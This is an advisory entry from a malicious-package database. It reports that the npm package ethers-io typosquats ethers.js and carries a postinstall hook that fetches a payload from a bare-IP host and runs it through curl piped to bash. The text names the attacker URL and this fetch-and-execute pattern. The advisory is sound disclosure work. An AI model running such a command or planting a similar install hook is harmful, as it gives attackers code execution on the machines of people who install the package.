MAL-2026-3708

Dashboard / Malicious Package / MAL-2026-3708

MAL-2026-3708

Summary: Malicious code in ethers-io (npm)

Details: Source: amazon-inspector (098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14) The package's `package.json` declares a `postinstall` script that base64-decodes a hidden URL (`http://8.217.75.147:3000/payload`) and pipes the HTTP response directly to `bash` via `curl -s <url> | bash`. On every `npm install`, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name `ethers-io` and its stated purpose as "I/O utilities for ethers.js" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at `github.com/ethers-utils/ethers-io` rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE. Source: ossf-package-analysis (096fee7452967418fa149986d5ef661f3292d844524b58d3c3ca2b2e1b8cffc0) The OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

References: https://www.npmjs.com/package/ethers-io/v/2.0.0, https://www.npmjs.com/package/ethers-io/v/1.0.0